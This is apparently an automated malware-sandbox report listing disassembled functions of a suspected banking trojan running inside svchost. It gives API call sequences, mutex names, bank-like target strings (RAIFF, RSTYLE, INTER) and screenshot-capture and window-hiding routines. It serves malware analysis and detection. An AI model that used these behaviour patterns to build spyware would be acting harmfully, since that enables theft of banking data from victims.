Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
String ID: 7F1BFD21$FAKTURA$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v
API String ID: 2736094147-4048276756
Opcode ID: 5cc879c94f7da7a75bb0b9674b7da5d4addcd0b86d7b44c129d1f7609fb22484
Instruction ID: bf16f44e971ad8498760596df9b01a7b91daa047f741fd308cd832d96a808c2e
Opcode Fuzzy Hash: 5cc879c94f7da7a75bb0b9674b7da5d4addcd0b86d7b44c129d1f7609fb22484
Instruction Fuzzy Hash: 05214931EC07557AF322B7608C0AF6A738C9F85B29F148B18FE14631C1CBB0E9014AA6

Function 02C8FEE0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02C8FEFC
Sleep.KERNEL32(00000064), ref: 02C8FF12
OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}), ref: 02C8FF20
ReleaseMutex.KERNEL32(00000000), ref: 02C8FF29
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8FF47
CloseHandle.KERNEL32(00000000), ref: 02C8FF55
CreateThread.KERNEL32(00000000,00000000,02C8FC70,00000000,00000000,00000000), ref: 02C8FF6A
Sleep.KERNEL32(00009C40), ref: 02C8FF7B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C8FF80
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8FF94
CloseHandle.KERNEL32(00000000), ref: 02C8FFA2
PathAddBackslashA.SHLWAPI(7F1BFF41), ref: 02C8FFAD
Sleep.KERNEL32(00009C40,7F1BFF41,INTER), ref: 02C8FFC7

Strings

INTER, xrefs: 02C8FFB3
Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}, xrefs: 02C8FEF0, 02C8FF14
P0#v, xrefs: 02C8FF29
7F1BFF41, xrefs: 02C8FFA8, 02C8FFB8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
String ID: 7F1BFF41$INTER$Local\{EAF329BF-8989-4fe1-9A0D-95CD39DC0214}$P0#v
API String ID: 2736094147-395204026
Opcode ID: 22c9544344223e8cda4f388e9201a6056ca5f764a5d66d3eed38308052f63cd0
Instruction ID: e4c67908672cb35a4f12d2071a62a49761df94f8fdfc2e1b32ad9ce2f8eda8f2
Opcode Fuzzy Hash: 22c9544344223e8cda4f388e9201a6056ca5f764a5d66d3eed38308052f63cd0
Instruction Fuzzy Hash: 10210A31AC47543BF312B7649C0AF5A73CCAF45B69F548758FE14A31C1DBB0A9018AB6

Function 02C77370 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 156synchronizationmemorythreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02C7738C
GetThreadDesktop.USER32(00000000,?,?,02C77262,00000000,00000000), ref: 02C77393
SetThreadDesktop.USER32(00000000,?,?,02C77262,00000000,00000000), ref: 02C7739F

Part of subcall function 02C7CAA0: GetTickCount.KERNEL32 ref: 02C7CAA8
Part of subcall function 02C7CAA0: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAB9
Part of subcall function 02C7CAA0: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02CBD6C0), ref: 02C7CAE3
Part of subcall function 02C7CAA0: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAFC
Part of subcall function 02C7CAA0: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C7CB29
Part of subcall function 02C7CAA0: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB3C
Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,02CBD790,?,?,02C77262,00000000,00000000), ref: 02C7CB5A
Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB6B
Part of subcall function 02C7CAA0: CreateMutexA.KERNEL32(00000000,00000000,02CBD750,?,?,02C77262,00000000,00000000), ref: 02C7CB7F
Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB98
Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBAB
Part of subcall function 02C7CAA0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBBE

Part of subcall function 02C7CBF0: memset.MSVCRT ref: 02C7CC09
Part of subcall function 02C7CBF0: GetVersionExA.KERNEL32(?,?,00000000,?), ref: 02C7CC22

Part of subcall function 02C98320: malloc.MSVCRT ref: 02C98332

HeapAlloc.KERNEL32(00000000,00000008,00000008), ref: 02C77437
HeapAlloc.KERNEL32(00000000,00000008,00000005), ref: 02C77445
lstrcpyA.KERNEL32(00000000,fuck), ref: 02C7744F

Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75

WaitForSingleObject.KERNEL32(00000000,00000000,?,00000000), ref: 02C774F2
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02C77501
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 02C77530
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7753F
ReleaseMutex.KERNEL32(00000000), ref: 02C7754D
SetEvent.KERNEL32(00000000), ref: 02C77556
Sleep.KERNEL32(00002710,?,00000000), ref: 02C7759C

Strings

P0#v, xrefs: 02C774BB
user!226533!1CE3AAD1, xrefs: 02C773D6
fuck, xrefs: 02C77447

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Create$EventFileMutexObjectSingleWait$HeapThreadmemset$AllocCheckConnectionDesktopInternetMappingViewlstrcpyn$AdminAliveCacheCountCurrentFlushNetworkReleaseResolverSleepTickUserVersionlstrcpymalloc
String ID: user!226533!1CE3AAD1$P0#v$fuck
API String ID: 2939156510-3182957975
Opcode ID: 2d7c50fa93b956e0672c43a51721cda743f6e35ab882156119189896743e9e10
Instruction ID: 8bb9a241b0db1dacf2ee8b41bc80e65b0e64538a45a66047102142ce9d1b3c7c
Opcode Fuzzy Hash: 2d7c50fa93b956e0672c43a51721cda743f6e35ab882156119189896743e9e10
Instruction Fuzzy Hash: 7C51B0B19802449FDB11DF64D84CFA67BE9FB88314F158BBAE9584B291C730E518CF60

Function 02C87230 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 149fileCOMMON

Download Yara Rule

APIs

fseek.MSVCRT ref: 02C87276
fwrite.MSVCRT ref: 02C87285
fseek.MSVCRT ref: 02C8729B
fread.MSVCRT ref: 02C872A8
fseek.MSVCRT ref: 02C87332
fwrite.MSVCRT ref: 02C8733F
fclose.MSVCRT ref: 02C87347

Part of subcall function 02C86D00: fseek.MSVCRT ref: 02C86D8B
Part of subcall function 02C86D00: fwrite.MSVCRT ref: 02C86DA2
Part of subcall function 02C86D00: fwrite.MSVCRT ref: 02C86DB1
Part of subcall function 02C86D00: fwrite.MSVCRT ref: 02C86DD1

free.MSVCRT ref: 02C87360
free.MSVCRT ref: 02C87366
free.MSVCRT ref: 02C8736C
free.MSVCRT ref: 02C87372
free.MSVCRT ref: 02C8737B
free.MSVCRT ref: 02C87381
free.MSVCRT ref: 02C87384
free.MSVCRT ref: 02C87393

Strings

7f1bf8b2, xrefs: 02C87237

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: free$fwrite$fseek$fclosefread
String ID: 7f1bf8b2
API String ID: 2434908339-2242988197
Opcode ID: c40e4bed5cf97454075a45736d22c2bd94892342a3efaa6722b600237556d0fc
Instruction ID: 1e974ff73977e1a7b5a8d9bb28150bf6261c6c699c825a5e133cf8dde1618f11
Opcode Fuzzy Hash: c40e4bed5cf97454075a45736d22c2bd94892342a3efaa6722b600237556d0fc
Instruction Fuzzy Hash: 8341F671A406449FD720EBA8CC85B6AF3E8EF98314F248A2DE985C37D1D278F4458B61

Function 02C909A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bf841), ref: 02C909CA
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90A0C
GetLastError.KERNEL32 ref: 02C90A18
IsUserAnAdmin.SHELL32 ref: 02C90A1C
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C90A2D
SetLastError.KERNEL32(00000000), ref: 02C90A34
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90A63
GetLastError.KERNEL32 ref: 02C90A69
IsUserAnAdmin.SHELL32 ref: 02C90A6D
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C90A7E
SetLastError.KERNEL32(00000000), ref: 02C90A85
_snprintf.MSVCRT ref: 02C90ABA
Sleep.KERNEL32(00000FA0,?), ref: 02C90AD0

Strings

%s\%02d.bmp, xrefs: 02C90AA9
scrs, xrefs: 02C90A49
7f1bf841, xrefs: 02C909C5, 02C909D0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7f1bf841$scrs
API String ID: 224938940-3898981795
Opcode ID: 542c1874f4bc3e52dd528810bb4d1963d2f2196f39eb4ecada1477f36d36a40c
Instruction ID: 9adedc9061a233322b623d4569dee6cd3ded6863e4bc389879186b729274d846
Opcode Fuzzy Hash: 542c1874f4bc3e52dd528810bb4d1963d2f2196f39eb4ecada1477f36d36a40c
Instruction Fuzzy Hash: 9A310571E402985BDB219B749C5CBEBBBA8EF95300F4546D4EA89D3100DF70DA55CBA0

Function 02C8A150 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C8A17A
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8A1BC
GetLastError.KERNEL32 ref: 02C8A1C8
IsUserAnAdmin.SHELL32 ref: 02C8A1CC
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8A1DD
SetLastError.KERNEL32(00000000), ref: 02C8A1E4
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8A213
GetLastError.KERNEL32 ref: 02C8A219
IsUserAnAdmin.SHELL32 ref: 02C8A21D
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8A22E
SetLastError.KERNEL32(00000000), ref: 02C8A235
_snprintf.MSVCRT ref: 02C8A26A
Sleep.KERNEL32(00000FA0,?), ref: 02C8A280

Strings

%s\%02d.bmp, xrefs: 02C8A259
7f1bfc59, xrefs: 02C8A175, 02C8A180
scrs, xrefs: 02C8A1F9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7f1bfc59$scrs
API String ID: 224938940-2853034986
Opcode ID: 6be01b82df11ddc65da618c02c39694b16699051bfaa5acf49fb64867bc43323
Instruction ID: 81399e7e759840fcf260adc1e0ba70d5316192ef898cd4b424ea9abbfecd5d93
Opcode Fuzzy Hash: 6be01b82df11ddc65da618c02c39694b16699051bfaa5acf49fb64867bc43323
Instruction Fuzzy Hash: 70315871E002989BCB21EB349C98BEB7BA8EF85304F0486D5E989C3100DF30DA54CBA0

Function 02C91960 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bf95c), ref: 02C9198A
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C919CC
GetLastError.KERNEL32 ref: 02C919D8
IsUserAnAdmin.SHELL32 ref: 02C919DC
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C919ED
SetLastError.KERNEL32(00000000), ref: 02C919F4
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C91A23
GetLastError.KERNEL32 ref: 02C91A29
IsUserAnAdmin.SHELL32 ref: 02C91A2D
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C91A3E
SetLastError.KERNEL32(00000000), ref: 02C91A45
_snprintf.MSVCRT ref: 02C91A7A
Sleep.KERNEL32(00000FA0,?), ref: 02C91A90

Strings

%s\%02d.bmp, xrefs: 02C91A69
scrs, xrefs: 02C91A09
7f1bf95c, xrefs: 02C91985, 02C91990

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7f1bf95c$scrs
API String ID: 224938940-3288211317
Opcode ID: d8ee8b92d7439d8aee7b7b41ec083de929fc90b976aed1a9591ea951ced87208
Instruction ID: 97337809144342f5afb747c78701df50d7f1a3d8e6f0a197024a797b0774a99a
Opcode Fuzzy Hash: d8ee8b92d7439d8aee7b7b41ec083de929fc90b976aed1a9591ea951ced87208
Instruction Fuzzy Hash: 34313571E402995FCB21DB34AC5DBEB7BA8AF85300F0946D4E989C3100DFB0DA58CBA0

Function 02C8E6E0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfde3), ref: 02C8E70A
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8E74C
GetLastError.KERNEL32 ref: 02C8E758
IsUserAnAdmin.SHELL32 ref: 02C8E75C
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8E76D
SetLastError.KERNEL32(00000000), ref: 02C8E774
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8E7A3
GetLastError.KERNEL32 ref: 02C8E7A9
IsUserAnAdmin.SHELL32 ref: 02C8E7AD
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8E7BE
SetLastError.KERNEL32(00000000), ref: 02C8E7C5
_snprintf.MSVCRT ref: 02C8E7FA
Sleep.KERNEL32(00000FA0,?), ref: 02C8E810

Strings

%s\%02d.bmp, xrefs: 02C8E7E9
scrs, xrefs: 02C8E789
7f1bfde3, xrefs: 02C8E705, 02C8E710

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7f1bfde3$scrs
API String ID: 224938940-579213346
Opcode ID: 06cebc02a5074d148f141090ae079b5a9de5b0e7e1b4cb22705ec0731ad908ea
Instruction ID: c012ed745ce7834b89328ee85ffa25eefdb54afe5cdcc30dafb8a318effbca9e
Opcode Fuzzy Hash: 06cebc02a5074d148f141090ae079b5a9de5b0e7e1b4cb22705ec0731ad908ea
Instruction Fuzzy Hash: A4314871D402985BC721EB349C58BEB77A8AF85704F0589D4FA85C3101DF70DA54CBA4

Function 02C91690 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C916BA
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C916FC
GetLastError.KERNEL32 ref: 02C91708
IsUserAnAdmin.SHELL32 ref: 02C9170C
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C9171D
SetLastError.KERNEL32(00000000), ref: 02C91724
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C91753
GetLastError.KERNEL32 ref: 02C91759
IsUserAnAdmin.SHELL32 ref: 02C9175D
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C9176E
SetLastError.KERNEL32(00000000), ref: 02C91775
_snprintf.MSVCRT ref: 02C917AA
Sleep.KERNEL32(00000FA0,?), ref: 02C917C0

Strings

%s\%02d.bmp, xrefs: 02C91799
scrs, xrefs: 02C91739
7F1BF8F3, xrefs: 02C916B5, 02C916C0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7F1BF8F3$scrs
API String ID: 224938940-197625633
Opcode ID: ba8445a1f94566e55d1cd96c645874cd34b7fa93c6c2f41fc11f26e518bfdf13
Instruction ID: d0669bbe0d88d5412a30cdd21ac2ea9879cccbf1a7e9ba89ea04bb6e565d3bca
Opcode Fuzzy Hash: ba8445a1f94566e55d1cd96c645874cd34b7fa93c6c2f41fc11f26e518bfdf13
Instruction Fuzzy Hash: A3310771D4029A5BCB119B749C5DBEB77E8EF85700F4846D4EA89C3100DF71DA55CBA0

Function 02C8F620 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfddb), ref: 02C8F64A
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F68C
GetLastError.KERNEL32 ref: 02C8F698
IsUserAnAdmin.SHELL32 ref: 02C8F69C
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F6AD
SetLastError.KERNEL32(00000000), ref: 02C8F6B4
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F6E3
GetLastError.KERNEL32 ref: 02C8F6E9
IsUserAnAdmin.SHELL32 ref: 02C8F6ED
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F6FE
SetLastError.KERNEL32(00000000), ref: 02C8F705
_snprintf.MSVCRT ref: 02C8F73A
Sleep.KERNEL32(00000FA0,?), ref: 02C8F750

Strings

%s\%02d.bmp, xrefs: 02C8F729
scrs, xrefs: 02C8F6C9
7f1bfddb, xrefs: 02C8F645, 02C8F650

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$Path$AdminCreateDirectoryFolderMakeSystemUser$BackslashSleep_snprintf
String ID: %s\%02d.bmp$7f1bfddb$scrs
API String ID: 224938940-1126418628
Opcode ID: 35d3f24ee474b8a154757338705ddac402c16e5e072ae1be3ed9d89c386b56e7
Instruction ID: 33ba1aa2bca3817b726cdd523b38e0fc18711386a38419310ee17da1da5b38a0
Opcode Fuzzy Hash: 35d3f24ee474b8a154757338705ddac402c16e5e072ae1be3ed9d89c386b56e7
Instruction Fuzzy Hash: ED314C71D002985BD722EB749C58BEB7BE8EF84304F4486D8E985D3100DF70DA59CBA0

Function 02C7B649 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 101sleepwindowthreadCOMMON

Download Yara Rule

APIs

GetWindow.USER32(00000000,00000005), ref: 02C7B5BD
GetWindow.USER32(00000000), ref: 02C7B5C0
IsWindowVisible.USER32(00000000), ref: 02C7B5C5
IsWindowVisible.USER32(00000000), ref: 02C7B5D4
GetWindowThreadProcessId.USER32(00000000,?), ref: 02C7B5E7
GetClassNameA.USER32(00000000,?,00000101), ref: 02C7B609
GetWindowInfo.USER32(00000000,?), ref: 02C7B675
SetWindowLongA.USER32(00000000,000000EC,?), ref: 02C7B697
SetLayeredWindowAttributes.USER32(00000000,0000FFFF,000000FF,00000002), ref: 02C7B6A6
GetClassLongA.USER32(00000000,000000E6), ref: 02C7B6AF
SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02C7B6C2
Sleep.KERNEL32(00000000), ref: 02C7B6CA
EnumChildWindows.USER32(00000000,02C7B530,00000000), ref: 02C7B6D8
GetWindow.USER32(00000000,00000003), ref: 02C7B6E1
Sleep.KERNEL32(00000001), ref: 02C7B6EF

Strings

<, xrefs: 02C7B66E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$ClassLong$SleepVisible$AttributesChildEnumInfoLayeredNameProcessThreadWindows
String ID: <
API String ID: 3510281082-4251816714
Opcode ID: 0bfcfc3708f5875f3a5ef9a59b9a8bcfabd5fc2b1915eb7716a2c70c28197be6
Instruction ID: f0ecb02aec1f7eb1ce84d6a1a970ddf49098eaf1fd3417fdd5b4e5ac0b340f7f
Opcode Fuzzy Hash: 0bfcfc3708f5875f3a5ef9a59b9a8bcfabd5fc2b1915eb7716a2c70c28197be6
Instruction Fuzzy Hash: CD31E130A90655AFEB2A9B64DC4AFAE7A2CEF45749F000744F612A20C0DB749E11CA65

Function 02C90AF0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 67sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90B1C
ReleaseMutex.KERNEL32(00000000), ref: 02C90B2D
GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B41
CloseHandle.KERNEL32(00000000), ref: 02C90B4F
CreateThread.KERNEL32(00000000,00000000,02C909A0,00000000,00000000,00000000), ref: 02C90B64
Sleep.KERNEL32(00009C40), ref: 02C90B75
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C90B7A
GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B8E
CloseHandle.KERNEL32(00000000), ref: 02C90B9C
PathAddBackslashA.SHLWAPI(7f1bf841), ref: 02C90BA7
Sleep.KERNEL32(00009C40,7f1bf841,RAIFF), ref: 02C90BC1
Sleep.KERNEL32(00000064), ref: 02C90BCA

Strings

Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C90B10
P0#v, xrefs: 02C90B2D
RAIFF, xrefs: 02C90BAD
7f1bf841, xrefs: 02C90BA2, 02C90BB2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bf841$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RAIFF
API String ID: 505831200-2004234703
Opcode ID: 7f78a7c3451d5d4f5334f9850f786c9ae6d7ba5abe8ba875d4bdfd9d4428052f
Instruction ID: e6b70bb27d61c34d8a9be23afc102e9d7ab718ba819a6fa34f7ce02b850e8a58
Opcode Fuzzy Hash: 7f78a7c3451d5d4f5334f9850f786c9ae6d7ba5abe8ba875d4bdfd9d4428052f
Instruction Fuzzy Hash: AE11B630AC9755BAF7126B658C1EF1E37DC5F44B19F104654F551A30C1EBF0E9008AAA

Function 02C91AB0 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 67sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02C91ADC
ReleaseMutex.KERNEL32(00000000), ref: 02C91AED
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B01
CloseHandle.KERNEL32(00000000), ref: 02C91B0F
CreateThread.KERNEL32(00000000,00000000,02C91960,00000000,00000000,00000000), ref: 02C91B24
Sleep.KERNEL32(00009C40), ref: 02C91B35
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C91B3A
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B4E
CloseHandle.KERNEL32(00000000), ref: 02C91B5C
PathAddBackslashA.SHLWAPI(7f1bf95c), ref: 02C91B67
Sleep.KERNEL32(00009C40,7f1bf95c,RSTYLE), ref: 02C91B81
Sleep.KERNEL32(00000064), ref: 02C91B8A

Strings

P0#v, xrefs: 02C91AED
7f1bf95c, xrefs: 02C91B62, 02C91B72
RSTYLE, xrefs: 02C91B6D
Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}, xrefs: 02C91AD0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
